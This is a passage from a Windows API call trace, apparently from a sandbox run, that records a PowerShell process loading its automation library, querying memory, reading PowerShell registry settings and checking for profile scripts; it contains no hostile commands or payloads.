lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.634] GetLastError () returned 0xcb [0097.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.655] GetLastError () returned 0xcb [0097.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.655] GetLastError () returned 0xcb [0097.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.655] GetLastError () returned 0xcb [0097.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.655] GetLastError () returned 0xcb [0097.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.655] GetLastError () returned 0xcb [0097.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.655] GetLastError () returned 0xcb [0097.656] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.657] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.657] GetLastError () returned 0xcb [0097.669] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.686] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.686] GetLastError () returned 0xcb [0097.687] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.687] GetLastError () returned 0xcb [0097.688] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.688] GetLastError () returned 0xcb [0097.690] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.690] GetLastError () returned 0xcb [0097.691] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.691] GetLastError () returned 0xcb [0097.693] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.693] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.790] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.801] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.801] GetLastError () returned 0xcb [0098.689] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x6ef370 [0098.689] GetLastError () returned 0x0 [0098.689] GetLastError () returned 0x0 [0099.248] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.297] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.300] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.300] VirtualQuery (in: lpAddress=0x27c794, lpBuffer=0x27d794, dwLength=0x1c | out: lpBuffer=0x27d794*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.856] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.857] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.858] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.859] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.859] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.859] VirtualQuery (in: lpAddress=0x27d0e0, lpBuffer=0x27e0e0, dwLength=0x1c | out: lpBuffer=0x27e0e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.894] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.894] GetLastError () returned 0xcb [0099.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dedc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.912] GetLastError () returned 0xcb [0099.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.912] GetLastError () returned 0xcb [0099.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.913] GetLastError () returned 0xcb [0099.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.913] GetLastError () returned 0xcb [0099.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dedc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.937] GetLastError () returned 0xcb [0099.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.937] GetLastError () returned 0xcb [0099.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.937] GetLastError () returned 0xcb [0099.937] VirtualQuery (in: lpAddress=0x27d408, lpBuffer=0x27e408, dwLength=0x1c | out: lpBuffer=0x27e408*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dedc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.938] GetLastError () returned 0xcb [0099.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.938] GetLastError () returned 0xcb [0099.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.939] GetLastError () returned 0xcb [0099.939] VirtualQuery (in: lpAddress=0x27d400, lpBuffer=0x27e400, dwLength=0x1c | out: lpBuffer=0x27e400*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.939] VirtualQuery (in: lpAddress=0x27d0b4, lpBuffer=0x27e0b4, dwLength=0x1c | out: lpBuffer=0x27e0b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.939] VirtualQuery (in: lpAddress=0x27d0b4, lpBuffer=0x27e0b4, dwLength=0x1c | out: lpBuffer=0x27e0b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.943] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27eb3c | out: phkResult=0x27eb3c*=0x3a0) returned 0x0 [0099.943] RegQueryValueExW (in: hKey=0x3a0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eb84, lpData=0x0, lpcbData=0x27eb80*=0x0 | out: lpType=0x27eb84*=0x1, lpData=0x0, lpcbData=0x27eb80*=0x56) returned 0x0 [0099.943] RegQueryValueExW (in: hKey=0x3a0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eb84, lpData=0x6f7118, lpcbData=0x27eb80*=0x56 | out: lpType=0x27eb84*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27eb80*=0x56) returned 0x0 [0099.944] RegCloseKey (hKey=0x3a0) returned 0x0 [0099.944] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27eb3c | out: phkResult=0x27eb3c*=0x3a0) returned 0x0 [0099.944] RegQueryValueExW (in: hKey=0x3a0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eb84, lpData=0x0, lpcbData=0x27eb80*=0x0 | out: lpType=0x27eb84*=0x1, lpData=0x0, lpcbData=0x27eb80*=0x56) returned 0x0 [0099.944] RegQueryValueExW (in: hKey=0x3a0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eb84, lpData=0x6f7118, lpcbData=0x27eb80*=0x56 | out: lpType=0x27eb84*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27eb80*=0x56) returned 0x0 [0099.944] RegCloseKey (hKey=0x3a0) returned 0x0 [0099.946] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x6f7118 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0099.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0099.946] GetLastError () returned 0x3f0 [0099.946] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x6f7118 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0099.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0099.947] GetLastError () returned 0x3f0 [0099.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x27e76c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0099.948] GetLastError () returned 0x3f0 [0099.948] SetErrorMode (uMode=0x1) returned 0x1 [0099.948] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27ebec | out: lpFileInformation=0x27ebec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.948] GetLastError () returned 0x2 [0099.949] SetErrorMode (uMode=0x1) returned 0x1 [0099.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x27e76c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0099.949] GetLastError () returned 0x2 [0099.949] SetErrorMode (uMode=0x1) returned 0x1 [0099.949] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27ebec | out: lpFileInformation=0x27ebec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.949] GetLastError () returned 0x2 [0099.949] SetErrorMode (uMode=0x1) returned 0x1 [0099.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x27e76c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x45 [0099.949] GetLastError () returned 0x2 [0099.949] SetErrorMode (uMode=0x1) returned 0x1 [0099.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27ebec | out: lpFileInformation=0x27ebec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.949] GetLastError () returned 0x3 [0099.949] SetErrorMode (uMode=0x1) returned 0x1 [0099.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x27e76c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x5a [0099.949] GetLastError () returned 0x3 [0099.950] SetErrorMode (uMode=0x1) returned 0x1 [0099.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27ebec | out: lpFileInformation=0x27ebec*(dwFileAttributes=0x0, 